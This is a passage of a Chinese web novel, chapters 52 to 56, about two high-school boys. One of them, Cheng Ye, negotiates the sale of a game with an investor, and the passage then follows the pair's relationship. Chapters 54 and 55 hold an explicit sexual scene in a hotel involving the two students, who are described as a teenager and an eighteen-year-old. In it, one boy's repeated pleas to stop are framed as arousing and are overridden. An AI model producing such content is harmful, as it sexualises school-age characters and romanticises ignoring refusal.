可偏偏程野很淡定,两三下扒拉完粉,走到旁边接电话去了。 他没压低声音,人懒散地站着,垂着眼睛,脸上带着点笑,跟刚刚在王卓跟前的寡言不同,他接电话时话很多。 “才到没多久,有太阳,不热,我带了外套。” “吃的什么?路边的炒粉。” “没有不好,挺好吃的。” 王卓张嘴吐出炒粉里的小沙子。 “你不是说江城香山路的王记烤鸭很好吃吗,回来给你带。” 王卓拍掉皮鞋上的灰。 香山路的王记烤鸭很有名,一只少说也要几百了。 “不贵,也不麻烦。” 王卓:“……” 看不懂、看不懂…… 程野打完电话,王卓也拖拖拉拉吃完了。他站起来抖抖发麻的腿,用筷子戳穿一次性饭盒,随手丢在垃圾桶里,问程野,“我们现在就过去吗?” 要不是程野身上就一个双肩包,他这身看起来比旁边进城打工的农民工还要像农民工,王卓一身西装站他旁边,看起来他才是那个老板。 王卓怕伤到老板的自尊,说话很小心翼翼,“有点远,坐车的话大概半小时左右。要不我打个车?” 程野问他,“有公交吗?” “……有,但要转两趟。” 程野:“行,走吧,去坐公交。” 王卓:“……” 他刚刚究竟在期待什么? 卑微打工人带着老板去坐公交,这个点刚好是午间高峰期,公交车上人挤人,王卓在人群里艰难求生,闷出一脑门的汗。 朋友这时候在群里给他发消息。 【怎么样,见到大老板了吗?】 王卓掏出手机扣扣扣。 【……见到了。】 【他怎么样?】 王卓往前看。 程野站在不远处,他人很高,头几乎快顶着车顶,单手抓着把手上面的栏杆,不知道是长相还是气场原因,没什么人愿意站在他身边,周围隔出一小圈的空间。 在人堆里一直被挤的王卓:“……” 他低头打字。 【不好说,你们见到就知道了。】 他把手机塞兜里,在人群里挤挤挤,终于挤到程野身边。抓着程野跟前的把手,王卓感觉自己活了过来。 他抻抻衣服上的褶皱,委婉朝程野开口,“你就这么去见对方吗?” 程野垂着眼皮看他,“有什么问题?” 有什么问题?这其中的问题可大了。 王卓看着他开胶的鞋面,看着他发灰发白的裤子,看着他裂了个口的外套,千言万语涌在心口,到最后只能汇聚成短短的两个字。 “算了……” 人才高中,要是经济条件允许的话,谁愿意穿成这样来见大客户? 是在好奇得紧,王卓忍不住问道:“之前给我们投资的那个钱真的是你的?” 程野看着周边倒退的景色,“嗯。” “哈哈……”王卓干笑两声,“没看出来,你还有这么多钱。” 程野道:“我只有那么多钱。” 王卓沉默了。 他到这时才感觉到程野和他认知里的十多岁少年是不一样的,他太冷静了,冷静得完全不像是个孩子。 一个十多岁的人身上有那么多钱,甚至还一声不吭地投给他们,足以见他的不一般。 “到了。”程野说。 王卓抬头看去,果然看见他们此行的终点站。 他跟程野下了公交车,往前走了十分钟左右,这才到约定见面的那个茶楼。 茶楼的位置在商圈中心,光看着那个门店就很不一般,王卓左右看了看,心底有些虚,“是这里吗?这看着也太高级了点。” 程野背着包就过去了,店员站在柜台里面,他人往一尘不染的地板上一站,“你好,找人。” 店员露出礼貌的微笑,“您好,请问有预约吗?” 程野道:“不清楚有没有,我找的人姓黄。” “您稍等……”店员低头翻了翻,“请问您是程野程先生吗?” “嗯。” “黄先生在我们这边定了包间,二位跟我来。” 程野和王卓跟在店员身后。 王卓身上那身西服平时看着还好,但今天走进这古色古香的茶楼,被明亮的灯光一照,上面堆积着的褶皱怎么也扯不平整,版型也不对,擦了几次的皮鞋看着也灰扑扑的。 他感到有些难堪和无措。 而走前面的程野比他从容多了,蹲在杂乱的火车站吃东西时是什么表情,他现在就是什么表情。 路过的客人会带着些许惊讶的目光看着这个和茶楼环境格格不入的人,程野也淡定回望过去,几秒后,路人最先受不了的移开目光。 一路到了包间,店员推开门,“黄先生还没到,二位可以在里面先休息片刻。” 她拿出菜单递给程野,“这是我们这边的茶饮,您看看需要什么。” 程野坐在沙发上,没看菜单,而是问:“免费还是付费?” 店员愣了两秒,良好的职业素养让她脸上依旧保持着甜美的微笑,“您今天的消费都挂在黄先生的账单上呢。” 程野又问:“我能自己泡吗?” 店员微笑,“可以的。” 程野这才翻开菜单,他看得很认真,两分钟才点好。 菜单传到王卓手上,他哪有程野“大方”,畏畏缩缩地点了个最便宜的。 店员正要离开,程野又问,“桌子上的饼干和糖果也是免费?” “……” 店员微笑,“是的呢。” 她一走,程野拉开空荡荡的包,伸手拿起放在一边装饼干的碟子,抬手就倒了进去。 倒完饼干他又去拿糖果,对面的王卓目瞪口呆。 程野顿了顿,“你要吃?” 第53章 王卓:“……” 他道:“不……不吃。” 于是程野哗啦一下把糖也倒了进去。 店员回来时看着空荡荡的两个碟子嘴角抽了抽。她把茶盏放在程野跟前,程野要自己泡,她拿的是独立包装的小茶包,然后是水壶。 “茶叶我们选是清明雨前最鲜嫩的芽,采摘于武夷高山,水也是高山上的山泉水,入口带有清冽的香甜。” 店员把水烧上,“您这边之前泡过茶吗?需要帮助吗?” 程野道:“不用,你出去吧。” 店员不动声色扫了他一眼,没说什么,出去了。 她一走,程野把茶包也丢包里。 王卓看得欲言又止,止言又欲。 “程……”他顿了顿,“小程兄弟,你这是……” 程野把烧开的白水灌到茶杯里,言简意赅,“带回去喝。” 王卓牛嚼牡丹地喝了口茶,短短几个小时,他感觉自己身心俱疲。 他想,后面程野再干什么他都不会觉得惊讶了。 等了半小时,门终于被推开。 程野和王卓站起来。 先进来的是店员,她后面跟着一个二十多岁的男人,男人长得儒雅周正,像是从什么地方赶过来,穿着一身的西装。 高定的和店里随便买的一对比,王卓感觉自己像路边发传单的销售。 黄旭尧看着包间里年轻的俩人时顿了顿,几秒后才朝王卓伸出手,“你好,程先生是吧?” 王卓没动,他身边的少年伸出手和他握了下,“你好,程野。” 黄旭尧愣住。哪怕知道很不礼貌,可他还是没控制住上下扫了眼程野,“你是负责人?” 程野说:“有什么问题么?” 有什么问题?这问题可大了去了。 黄旭尧咳了声,他身后的助理让店员出去,关上了门。 程野和王卓坐一边,黄旭尧和助理坐另一边。 黄旭尧干笑一声,“实在没想到组织研发这么一款游戏的负责人竟然这么年轻,冒昧问一下,小兄弟多少岁了?” 程野喝了口白水,“二十五。” 王卓:“……” 程野人高马大地往那里一坐,脸上没有丝毫青涩气息,说是二十五也有人信。 就是不知道为什么,听到这个数字时,黄旭尧可疑地静了静,几秒后才笑了声,“没看出来,兄弟你还挺年轻有为。” 他看着程野跟前的白水,问了嘴,“程先生不喝茶吗?他家单枞很有名,要不我帮你叫一杯?” 程野说:“我能自己泡吗?” “当然……” 于是店员又送来一个茶包。 程野把茶包丢包里,在对面略显诧异的眼神里,他补充,“我回家泡,这里喝不习惯。” 助理嘴角抽了抽。 黄旭尧安静两秒,反而露出一个笑来,“程小兄弟很有意思,要是喜欢喝茶的话,我让人送你一包。” 程野点了点头,“谢谢。” 一点也不客气。 在助理无语的眼神里,黄旭尧倒很大方,挥挥手,真让人拿了包茶叶给程野。 程野面色如常地装进书包。 王卓想,就程野这心态,他干什么都会成功的。 东西拿得差不多,一行人才开始谈正事。 黄旭尧是京市人,跟程野见面这种小事本来轮不到他出面,他今天恰好来江城谈生意,时间充裕,顺道就过来了。 他的长相没什么攻击性,给人的感觉也很随和儒雅,西服看不出牌子,但手腕露出的腕表足以窥见不寻常。 茶香飘散,他低头轻啜了口,讲话慢条斯理的,“游戏是我一个朋友推我的,我也试着玩了几天。他推我的时候我还以为是什么惊世神作,其实玩下来体验感并没有想象的好。” “如今市面上大部分游戏都只是单纯的关卡竞技,你们在竞技的同时融合了剧情,相当于造了个全新的游戏世界,很新颖,但也只是新颖。” 程野脸上没什么表情,和温和的黄旭尧相比,他连眉毛都带着攻击性,飞快地扬了下,然后下沉。 “新颖就足够了。” 黄旭尧动作微顿,看了眼程野,“小程兄弟,新颖可赚不了钱,你们画质差,人物动作僵硬,甚至连剧情也一塌糊涂。” “现在看着是挺火的,可要不了多久,观众的热情退却,别家再推出新游戏,你靠什么留住他们?” “可对你来说,你要的不就是新颖?”程野道:“我来之前查过你的资料,黄家在京市很有名,但一直以来从事的都是贸易行业。黄先生如今不过二十多,正是刚毕业的时候,你自己开了家新公司,而不是跟着家里做,总不能是开着玩玩吧?” “那么多家公司,那么多游戏产品,你应该比谁都需要这份新颖。” 黄旭尧摸着茶杯,没说话。 缓了会,他笑了声,“我是很想要不错,不过你也知道你们游戏的弊端,我最多只能给十万。” “十五。”程野道。 “小程兄弟真是狮子大开口,你知道如今十五万意味着什么吗?” 程野笑了声,迎着他的目光丝毫不怯弱,“意味着你可以靠这份新颖赚很多个十五。” …… 茶杯里的茶渐凉,助理将人送走,回来让店员上了杯新茶。 热气氤氲,黄旭尧敛眉看着叶片在杯里舒展。 店员摆上新的饼干和糖果,弯腰退出房间。 助理摸不准的黄旭尧的意思,靠在他身边询问,“黄总……” 黄旭尧往后靠,姿势懒散,“这个姓程的什么来头?” 助理道:“根据调查的资料显示,就是一个来自林城农村的穷小子,父亲死了,母亲跑了,无依无靠。” 是很穷,全身上下唯一贵的只有被他护在手腕上的表。衣服寒酸,可不代表人也寒酸。 “能给十万已经是你给了天大的面子,他要价这么高,真是不自量力,依我看,就晾他两天,挫挫他的威风,一个乡下来的穷小子也敢跟你叫板?” “晾他两天?”黄旭尧笑了声,“他比你清楚,我才是那个等不起的人,现在不知道多少人在看我的笑话呢。” “下去吧,我打个电话。” 房门开了又合上,黄旭尧眼底这次才真正的染上点温度。 “你哪里找的冤家,可我把我坑惨了。” 那头安静了会才传来一道清冷的声音。 “别瞎说,他那么老实。” “老实?江时,我是听说你课业不怎么样,但如今看来,眼睛也不怎么样。” 江时:“……” 今天全市统考,此时刚考完第二天的最后一科,周遭全是学生,江时靠在走廊尽头。 夕阳在天边铺洒,金色刺眼。 他笑了声,“怎么?谈得不顺利吗?” 黄旭尧很无奈,“你之前怎么跟我说来着?乡下人,老实,听人说有个项目,脑子一抽把全身家当全投了进去,拿着电话跟我哭,说他有多不容易,今日一见,果真‘名不虚传’。” 他那语调依旧温温和和的,要不是江时和他还算熟,都不一定能听懂他的阴阳怪气。 江时道:“我没跟你哭,我只是引荐,引荐懂吗?你那人恨不得掉钱眼里,要是不感兴趣,你能答应?” 黄旭尧:“说不定我是看在你的面子上呢?” “我的面子有这么大?” 电话里传来男人懒懒散散的笑声。 笑完了,黄旭尧才问,“你跟他什么关系?” 江时含糊道:“就朋友呗……” “江时,离他远点,你跟他不适合当朋友。” 人都走完了,江时沿着空旷的楼梯往下走,“为什么这么说?” “这人这么点年纪,心思却缜密得可怕,眼底的野心哪怕是我看到了都不免吓一跳。他攻击性太强,目的性也太强,想要的东西必定会想方设法搞到手,别离他太近。” 程野的手段江时早就领教过了,其实黄旭尧说的也没毛病,只是他和程野的羁绊一时半会也说不清。他没拂了他的好意,“我知道,多谢提醒。” 说也说了,至于别的,黄旭尧也不多加干涉。 他轻啜一口茶,单手解开西服扣子,“江时小朋友,这么久了不跟我联系,找我就是为了别人,可真让人伤心。” “您老大忙人,忙着开拓新业务继承家业,我一个小角色哪敢呢?” “你不是不敢,你是不想。”黄旭尧问他,“出了那样大的事,怎么不跟我说?” 半年多过去,江时早就放下了。他笑了笑,“一开始是觉得说不说就那样,后面纯粹是忘了。” “你……”黄旭尧缓缓叹了口气,“就此离开宋家,对你来说应该不算是件坏事。论交情,我也当得了你一声哥,以后如果有什么困难,尽管来找我,不要多想。” 江时不当扫兴的人,怎么做不论,黄旭尧说的他都一一应下。 又闲聊了几句,黄旭尧问他,“那你接下来打算怎么办?” “哥……”江时无奈道:“我还是个学生,今年才高三,我又不是程野那个变态,我能怎么办?只能早上背单词,晚上背数学公式,凉拌。” 黄旭尧笑了,“还挺用功,来京市读大学吧,我请你吃饭。” 江时面无表情,“难道是我不想考吗?” 就他那稀巴烂的成绩,能考上一个二本就不错了。 江时走到食堂才挂了电话,一看,手机上好几个未接来电,全是程野的。 他回了个电话,对方秒接,语气严肃。 “江时,你刚刚在和谁打电话?” 江时张嘴刚想说他妈,程野立马道:“我刚刚给江姨打电话了。” 他控诉。 “你们聊了至少二十分钟。” “你答应过我的,考完第一个给我打电话。” 第54章 他语气幽怨得完全没有黄旭尧嘴里心思阴沉的样子。 江时深知程野蹬鼻子上脸的德行,完全不惯着他,“程野,你现在心思野了,都敢管我跟谁打电话了?” 果然,下一秒程野就老实了。老实归老实,委屈归委屈,“你从来就没跟我打过二十分钟的电话。” 江时简直服了他,“我天天跟你在一起,哪有那么多电话可打?” “你再说我挂了。” 程野:“……” 这个时候食堂的饭菜早就被打得差不多,周末学校不封校,江时决定出去吃。 天边最后一丝阳光隐退,属于冬的冷意越发明显。 程野在电话里絮絮叨叨跟他说今天发生的事,说黄旭尧,说王卓。 他说:“我有把握游戏的事能谈得下来,我们还是太年轻,这个游戏需要成熟的团队才能走得更远,它在我们手里只会夭折,所以卖掉不一定是件坏事……” 说到最后,程野顿了顿。 “江时,我想成立一个小型工作室。” …… 第二天,江时考完最后一科出去时看见站在外面的程野。 他人高,但站得很直,身上穿的还是那身黑色外套。当时看得不仔细,现在江时才发现衣服袖口起着毛边,后面不知道被什么剌开一个口子,黑色线头若隐若现。 程野接过他手里的袋子,“走吧,带你出去吃饭。” 江时考试前他就订好了,是一家养生的鸡汤馆。这两天为了考试,江时天天在宿舍里背书,背书伤脑子,得补补。 江时跟在他身后,他扯了扯程野背后开了个口的衣服,露出里面白色的T恤,“你就穿着这个去见客户?” “嗯,怎么?” “我前两天不是带你买了件外套吗,你怎么不穿那个?” 程野老实道:“见些不重要的人罢了,我舍不得穿。” 江时:“……” 他问:“依程老板高见,什么时候才舍得穿?” “跟你约会的时候。” 好好好…… 江时给了他一脚。 程野老实挨踹,但不理解自己为什么会被踹,“我又没有衣不蔽体,穿着也没有不尊重对方,见面谈生意看中的是能力,只有能力不足的人才会在穿衣上彰显自己的实力。” 江时把手从衣服破开的洞里伸进去拧他后腰上的肉。 街边来来往往都是学生,路灯光线橙黄,头顶树叶泛黄。本来很温馨的画面,程野靠在江时耳边说:“少爷,别挠了,再挠我就硬了。” 江时刷地一下把手伸出来,左右看了看,见方圆一米内没学生后才扭头瞪程野,“程野,我拳头也硬了。” 程野低头,少年的手垂在身侧捏得紧紧的,他皮肤白,一用力就泛着粉,骨节处像晕开的胭脂。 硬的也很好看 硬的拳头给了程野一下,江时没收多少力,程野被他锤得往后退了一步,胸口闷得咳了声。 “力气还挺大。” 江时朝他扬扬拳头,让他知道花儿为什么这样红。 程野短促地笑了声。 然后又挨了一拳。 鸡汤馆从学校走过去大概要二十分钟,门店开在二楼,老板是一个有些胖长相和蔼的女人。 这家店挺有名,虽然看起来只是个普普通通的门面,但老板手艺很好,鸡汤需要小火来煨,吃饭要提前预定。 和精细程度相对应的是它的价格。 江时不知道这些,看门店,他以为只是一个普普通通的店。他拉着椅子坐下,调侃程野,“程老板赚了钱就是不一般,都能下馆子了。” 程老板很淡定的给他倒茶水。 老板先是给他们上了菜,最后才是小火煨出来的鸡汤。 鸡汤色泽金黄却不油腻,程野撇开葱花给他先舀了一小碗汤。 暖融融的鸡汤下肚,被夜风吹得发冷的身体渐渐回暖。江时指尖搭在瓷白的碗上,发丝柔顺垂着,肤色透着素雅的白。 他们坐的位置对着窗,窗外面是一个小院子,院子里栽了几棵银杏,地面落了一地金黄。 在程野跟前,江时一向没什么形象,遇到椅子就没骨头地往里缩,下颌尖尖的,养了很久也没长什么肉,反而因为这次考试又瘦了些。 大多数时候他都是懒散的,就连笑也是,浅浅的,牵起一点弧度后,似乎觉得累,又缓缓落下。 “时间过得好快,刚来这边的时候冬天还没过去,没想到下一个冬这么快就来了。” 程野循着他的目光往窗外看,“是挺快的。”停了一秒,他又道:“该给你买冬天的衣服了。” 江时已经不指望能从程野嘴里说出什么好听的话,他拿着筷子夹了一筷子小白菜,刚收回手,碗里顿时多了块肉。 这几天背书熬夜熬得晚,江时没什么精神,连带着这些油腻腻的东西都不喜欢,他把碗里的肉扒拉出去,“我不要。” 程野又夹了块进去,“你最近瘦了,得吃。” “我不吃,我没瘦,你的嘴开过光啊,说瘦就瘦。” 程野不说话,抬着眼看他。 “看什么看?” “行。”程野淡淡道:“我倒要看看,你究竟是瘦还是胖。” “看?怎么看?” 江时很快就知道程野要怎么看。 他打死也想不到饭馆旁边就有家酒店,程野二话不说拽着他就去酒店开了个房。 酒店的灯光很亮,窗帘厚重,挡住外面风光。 江时一百多斤的成年男性,被程野揽着腰轻松掼到床上,他穿的是校服,黑色裤子宽松,一扯就掉了。 脚踝上的铃铛发出剧烈叮铃声。 程野站在床边,灯光从他背后倾泻,脸上盖着阴影,眼底的神色看不清。但江时能感觉他的目光落在他身上,准确来说是他屁股上。 他像是忽然想起什么,伸手去拽底下的被子。 程野弯腰扣着他的手,呼吸落在脸上,语调轻缓,“小少爷,躲什么?”说完他轻笑了声,目光往后掠,“嗯……蓝色的海绵宝宝……” 江时:“……” 他涨红着脸,“我不是……我没有……” 内裤是他随便抓的,回去一看发现印着个海绵宝宝。江时一直没穿过,前两天天气不好,宿舍里潮湿一片,洗的衣服根本干不了,他找不到穿的,想着反正也看不见,就换上了。 哪能想程野零帧起手,一来就扒他裤子。 他拽着校服裤子往后缩,两条笔直的腿在程野眼底轻蹬。 江时长了具格外匀称的身体,双腿笔直,身上那点肉都集中在屁股和大腿上,动作幅度稍微大点,就微颤颤地晃。 他靠着床头,裤子还没拉上去,程野忽然欺身上前,裤子从双腿滑落,小腿顿时空了起来。还不等他反应过来,程野的手已经放在了大腿上。 他掌心的温度烫得吓人,抓握上去时,江时被烫得挺了下腰。 “等……等一下……程野,你……要干什么?” 程野微垂着眼,和滚烫的温度相比,他讲话的声音很冷淡。跟江时呆久了,他普通话的口音淡了很多,嗓音低沉,光听着声音,能叫人酥掉半边耳朵。 “不是说看看究竟是胖了还是瘦了?” 江时缩着腿,伸脚把程野的手蹬出去,铃铛摇得叮叮当当的响,素白的皮肤肉眼可见的爬着粉上来。 “哪……哪有这么看的……” “的确。”程野道:“看的哪有亲自摸的准。” 说完,他伸手握住轻颤的软肉,掌心带着粗糙的纹路,刮过一寸,嫩肉红上一分,虎口堆砌收拢,颤抖的肉在他掌心微颤颤聚拢,嫩豆腐一样晃。 程野有着和同龄男生不相配的体格,人高,长手长脚,手也很大,他指节没什么肉,摊开时像枯瘦的竹节,皮下是隆起的青筋,稍一用力,青筋就鼓起,能单手抓起篮球。 如今,这么一只有力的大手,虚虚张开,抓在了江时大腿上。 白的白,黑的黑。 程野收紧指节,肉便从指缝里溢出,他一手没握完,留了一截在外面。 “是瘦了。”他评价,“肉捏着都没以前多。” 两人贴得极近,程野坏心眼地跪在中间,江时的腿只能岔在他身侧,白晃晃的惹眼。 他明明还什么都没做,江时就一副被欺负得狠的样子,两腮挂着红,眼底蒙着雾,就连声音都弱了几分。 “我错了程野,你别这样,你放我起来。” 江时以为只要他认错求饶,程野就能放过他。可他不知道的是,在床上的求饶,对男人来说,堪比烈性春药。 程野没吭声,眼神比刚刚暗了几分,他手又往里一寸,几乎是紧贴着的距离,指腹刮过,眼底的人虾米一样拱着腰。 “少爷,你这里很敏感。” 他带着茧的手指像磨人的钝刀,明明下手的力道也没多重,偏生那块的肉生得嫩,碾磨了几个来回后由粉泛着红。 程野松开手,看着江时的大腿内侧多了几个指印。 “真娇气。”他评价。 江时眼睫颤了颤,刚掀起眼皮,就看见眼前覆盖着阴影。 当着他的面,程野弯下腰,低下头,张嘴含住娇气的软肉。 白嫩的豆腐微微晃动,再次平静时,最里面多了个玫红的印子。 程野跪趴着仰起头,当着江时的面咽了下口水。 “江时,你硬了。” 第55章 轰的一下,像是有什么在江时脑海里炸开,等他回过神来时,酒店刺眼的灯光映在眼底。 他被程野拽着往前拖了一段距离,小腿悬空,腰后面塞了两个枕头,人顺势就坐了起来。 江时的上半身还规规矩矩地穿着衣服,下面却早就空了,衣服下摆盖住内裤,程野跪在床角,伸手挑开下摆。 那双笔直的腿垂在他身侧,他伸出另一只手握住小幅度抖动的小腿,把玩一样捏着带着点肉的腿肚,让江时素白的脚踩在他肩上。 只要是江时施加在他身上的,欲望和痛感都能让程野感到满足。 他眯了眯眼,看着江时泛着情潮的双眼,小猫一样的力道在他手里挣扎,声音也弱弱的,带着点连他自己都没察觉到哭腔,“程野,你……放开我……” 程野非但没放开,搭在蓝色海绵宝宝边缘的手还探进去一个指节,他勾着,从窄窄的缝隙里窥见到了里面的一点春光。 “少爷,你的身体比你的嘴巴诚实多了。” 江时又不是无欲无求的圣僧,被人那样对待了,怎么可能一点反应也没有。可有反应不代表他愿意跟程野在酒店里胡天胡地。 他蹬在男生肩上的腿更用力了点,可这回,任他使多大的力,程野都纹丝不动。 勾着的手指又往里一分,程野看着江时,语气轻缓,“少爷,被人服侍过吗?” 江时愣住,不等他回答,程野又接着道。 “没吹过箫,但我看过视频,要试试看么?” 江时的大脑足足宕机了快半分钟才意识到程野刚刚说了什么。 怎么会有人用这么平常的表情说出这么炸裂的话? “不是,你……” 很显然,程野刚刚只是在通知他,江时话都没说完,他就当着他的面低下头,甚至连手都不用,张嘴咬住边缘。 也不知道他看的什么视频,学得色情又下流。 江时闭上眼睛,呼吸加重,伸手抓住程野的头发。 酒店刺眼的白炽灯隔着眼皮在他眼底交织,楼下车流的声音渐渐淡去,吞咽的挤压声越发明显。 江时感觉自己陷在了泥沼里,越裹越紧、越裹越紧,然后猛地一拽,他升到了云层里。 世界再次恢复喧闹,楼下的喇叭声也刺耳起来。 他喘着气,眼底雾蒙蒙的一片,不知道是汗水还是泪水。他松开攥在手里的头发,往后跌,整个人靠在身后的枕头上。 程野伸手擦掉眼皮上的一点,当着江时的面吐出一截舌头。红艳艳的,上面挂着白,看得江时心口莫名快了几拍。 他咽下,又拿起旁边的矿泉水灌了几口,末了,云淡风轻的点评,“少爷,你有点多。” 江时:“……” 他在心底无声尖叫。 叫完了,他一只手撑着床,一只手从背后抽出一个枕头朝程野身上砸去。 程野侧身躲开枕头,“爽了就不认人了?” “你闭嘴!”江时朝他低声吼,说完才发现自己的声音又沙又哑。 空气里漂浮着难言的味道,他腿弯还挂着褪了一半的裤子,大腿上被程野握出来的掌印很明显。 一副差点被玩坏的样子。 可事实是,程野都没怎么用力。他觉得江时的皮肤不像豆腐,倒像豆花,一碾就化了。 江时伸手去勾腿弯的裤子,被程野伸手按住。他指尖托住底下往上翻,露出一块给江时看,“染上了,你确定要穿?” 江时低头,果然在海绵宝宝方正的身体上看见几点白,布料上的黄色海绵还咧着嘴笑,他感觉这辈子都不能再直视海绵宝宝了。 程野握着他的腿脱下来,这回江时是真的彻底空了,哪哪都露着风。他掀开被子,整个人如同泥鳅一样往里钻,然后拉过被子盖得严严实实,只露出一双眼睛没什么威慑力地瞪着程野。 “程野,你要干什么?别忘了我们还是学生。” 程野勾着蓝色布料站起来,自然地把东西团了团塞自己兜里,“不干什么,去给你买新的。” 他脱下外套系在腰上,拿着矿泉水去卫生间漱口,出来时江时还保持着刚刚的姿势盯着他。 身体的欲望没有得到满足,程野整个人看起来很紧绷,他站在门边,眼底神色晦暗,声音听起来却很平静,“少爷,看你的样子,好像在期待我做些什么。” 江时骂他不要脸。 程野笑了声,转身出门。 半夜里风很冷,酒店门口的树叶掉了很多,头顶枝叶稀疏,月光也没什么温度。 程野外套系在腰上,里面只穿了件单薄的T恤,冷风往里灌,口腔里带着点涩味的触感将他那些躁动一点点抚平下来。 精神上的满足盖过了肉体的需求。 他就这么站在门口,盯着天边那轮清冷的月看了很久,久到身体的躁动彻底平复下来才转身去旁边的超市。 他拿着新内裤回到酒店,或许是因为刚刚发泄过的原因,江时团在被子里睡着了。 连身上的外套都没脱,掀开被子,里面蜷着一双腿。 床上的人睡得毫无防备心,程野伸手一掰,腿就掰开了。 他没做什么,只是给发红的大腿内侧上了药。 江时是被冰醒的,迷迷糊糊睁开眼,看见的就是程野在他面前低着头。他思绪没转过弯,还停留在刚刚的场景里,身体泛着酸,伸手去推程野的脑袋。 “不要了,程野……” “不要什么?”程野顺势起身,抽出纸巾擦了擦手,“一次就不行,少爷,你有点虚。” 听到虚,江时彻底醒了,也不知道程野刚刚在干什么,大腿内侧滑腻腻的,他拉过被子再次把自己盖上,估摸着程野不会再对他干什么,他卸掉了戒备,神色看起来有些恹恹的。 “我已经整整四天没睡好觉了,铁打的人也经不住这么折腾。” 反正绝对不是他虚。 程野拆掉新内裤的包装,伸手拍了拍江时被被子盖住的屁股,“嗯,你不虚,把被子掀开点。” 江时拉紧被子,“你干嘛?” 程野说:“给你穿内裤。” “……” 能不能别用一本正经的表情说这种炸裂的话啊。 江时咬牙,“我自己来。” 程野建议,“我可以帮你。” 江时想也不想地拒绝了他的建议,一把拿过他手里的新内裤,朝他抬下巴,“你转过身去。” 程野说:“该看的、不该看的都看了,少爷这种时候还要见外?” 江时抓起枕头就往他身上丢,“赶紧的。” 程野只能很遗憾地转身。 身后传来窸窸窣窣的动静,江时麻利地给自己穿上裤子,他赤脚站在地板上,伸手拉了拉有些皱的校服外套,然后想到什么,动作顿了下,问程野,“我之前穿的那条呢?” 程野把系在腰上的外套穿在身上,右侧的荷包有些鼓,他神色如常,“丢了。” 江时狐疑地看他。 程野找来他的鞋,高大的个子蹲在江时跟前,“穿鞋走了,高新和说今天晚上班主任会查房。” 江时撑着程野的肩,伸着脚让他给自己套袜子,“那你订的酒店还能退吗?” “退不了。” 于是江时的手往上,揪着他短短的头发扯了下,“你真是我见过最败家的人,两百多一晚的酒店,进来就住一个小时?” 程野被他扯得扬了下头,像是被主人扯着链子的大狗,“不贵。” 二十一件的衣服舍不得买,两百的酒店说开就开,程野的消费观让江时叹为观止。 房间没开窗,味道经久不散,江时越闻脸上越烧得慌,连忙把窗户打开,等味道散得差不多了才去退房。 这个点也才晚上十点左右,路边还有很多往来的学生,江时走着走着脸色不太对,然后越走越慢。 程野察觉到了,跟着他一起慢下步伐。怕江时生气,他这回说得很小声。 “少爷皮太嫩,刚刚咬的时候没控制好手上的力道,内侧被磨破了。” 江时:“……” 他道:“你的手是树皮做的吗?” “有点糙,担待一下。” “……” 江时死活不让他背,两人磨磨蹭蹭走回宿舍的时候已经快十一点。 陈漪拿着点名册站在他们宿舍里,“丘茂林,一班的人怎么只有你在宿舍,程野和江时呢?” 丘茂林眼睛左看右看,就是不敢看站在他跟前的陈漪,“呃……额……程野他们……” 忽然,他眼尖地瞥见门口两个慢吞吞的身影,腾地一下站了起来,“江时和程野上厕所回来了!” 陈漪被他的动作吓了跳,回头一看,果然是江时和程野,“你这孩子,一惊一乍的干什么。”她拿着笔,把江时和程野的名字勾上,“不早了,回来了就赶紧休息。” 她问程野,“你办的事办好了吗?” 程野站门边垂着手,一副好学生的样子,“好了。” 聊了两句陈漪就走了,江时扶着栏杆坐下,旁边放着程野背着去的那个书包。 丘茂林一看见他俩就不自在,扯了一截纸就往厕所跑。 程野拉开书包,一样一样地往外面拿东西。 先是衣服,“入秋了,我给你买了件外套,还有一件卫衣,本来还想买鞋的,书包放不下,过两天在这边买。” 搁以前江时还觉得不好意思,今天被搓磨后,他觉得这些都是他应得的。他朝程野颔首,“放那边。” 程野放了,从书包里拿出烤鸭,“这是之前在电话里跟你说的烤鸭。” “还有糕点,老字号的点心,林城这边没有卖的模型……” 他掏一样,书包薄上一层,掏到最后…… “这个是糖。” 花花绿绿的一小堆,捂的时间有些久,有的已经开始化了一点。 程野顿了下,拿出一个皱巴巴的塑料袋,把糖全扒拉到袋子里,“这个便宜,还化了,给高新和。” 他拿着书包哗啦一倒,“这个是饼干,你尝尝看好不好吃。” 江时还没反应过来,嘴里就被塞了块小饼干,他嚼了两口,评价,“一般。” 程野:“那留一半,剩下的给高新和。” 再哗啦一倒,倒出一大包茶叶和两小包茶叶。 他问江时:“你喝茶吗?” 十八岁的江时抬着眼睛看他。 程野默了默,“给高……算了,我留着,高新和喝不明白。” 高新和:“??” 第56章 之后的日子江时忙,程野也忙。 江时忙着提高自己的数学和理综成绩,程野忙着开他所说的小型工作室。具体过程江时不了解,程野说的那些词他一个也听不懂,只有睡不着时才会让程野给他讲讲所谓的“商业计划”。 其催眠效果堪比夏天午后的物理课。 程野变态是真的变态,明明那么忙了,每次考试都还能考第一。问了才知道,这厮早就在高二的时候把高三的课程都学完了,甚至在给江时写笔记时悄无声息完成了一轮复习。 气得江时给了他一脚。 不过两人中间隔的差距有点远,江时生不出什么比较的心思,专注地盯着自己一点点往上爬的分数。 学习上吃了苦,江时人顿时轻减得厉害,原本就尖的下巴变得更加尖了,程野喂多少东西都补不回来。 不止程野心疼,偶尔回去江雪看见了也很心疼。 林城的冬天很少下雪,但会有长达几个月的小雨,天气雾蒙蒙的,冷空气入无孔不入,温度看着没那么低,但冻得人骨头都是冰的。 江雪心疼江时,知道他要回来,抓了个鸡杀了炖汤。 火炉里的炭火烧得正旺,两人围坐在火炉边,外面雾蒙蒙的下着雨,里面光线不怎么好。 一年快过去,江时没怎么黑,低垂着的瞳仁乌黑,发丝柔软。 江雪知道他不爱吃带皮带骨的,剔了块肉放他碗里,“别老是夹菜,多吃点肉。你们班主任给我打电话了,说你最近进步很快,都能考近班级前十了呢。” 她絮絮叨叨,“要我说,考大学这种事别看得这么严重,考得了就考,考不了去读个大专什么的也很好,这身体才是最重要的,累坏了受罪的还是你自己。” “我跟你爸虽然没上过几天学,但也知道读书很不容易,我们不求你多优秀,只要你健健康康、快快乐乐的就好。” 江时握住筷子,长了些的头发挡住眼底神色,“我知道,我有分寸。” 江雪又给他夹了一筷子肉,“你知道就行,这天越来越冷了,最近没啥事,我下个周进城带你买点冬天穿的衣服。” 闻言江时抬头看了她一眼,“不用买了,我都有的。” 江雪这才发现他身上穿的衣服都是新的。江时身上穿着的黑色羽绒服江雪看不出材质,但少年尖尖的下巴缩在衣领里,黑映着白,将他的脸衬托得越发好看。 她顿了顿,“你衣服哪里来的?” 